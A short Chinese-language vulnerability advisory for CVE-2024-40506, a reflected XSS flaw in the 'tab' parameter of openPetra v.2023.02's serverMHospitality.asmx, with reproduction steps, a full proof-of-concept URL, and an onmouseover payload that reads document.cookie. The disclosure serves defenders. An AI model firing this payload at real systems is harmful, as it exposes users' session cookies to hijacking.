CVE-2024-40506

openPetra v.2023.02 中的跨站脚本漏洞，存在于 serverMHospitality.asmx 函数中

描述：未认证用户可通过利用 openPetra v.2023.02 中 serverMHospitality.asmx 函数的 XSS 漏洞，窃取已认证用户的 cookie。

受影响产品版本：openPetra v.2023.02
CVE 作者：Jansen Moreira 日期：13/07/2024
CVE：CVE-2024-40506
CVE 链接：https://www.cve.org/CVERecord?id=CVE-2024-40506
NVD 链接：https://nvd.nist.gov/vuln/detail/CVE-2024-40506
Tenable 链接：https://www.tenable.com/cve/CVE-2024-40506
确认日期：13/07/2024
测试环境：Linux

复现步骤：

1- 访问主页
2- 使用以下路径，并在 tab 参数中添加 XSS 载荷。例如：
http://target.com/api/serverMHospitality.asmx?bnd=TMHospitalityWebServiceSoap&op=THospitalityWebConnector_Dummy&page=op&tab=x" onmouseover=alert(document.cookie) x="
3- 将鼠标悬停在左侧索引项上以触发 XSS

载荷：
tab: x" onmouseover=alert(document.cookie) x="

发现者/致谢： Jansen Moreira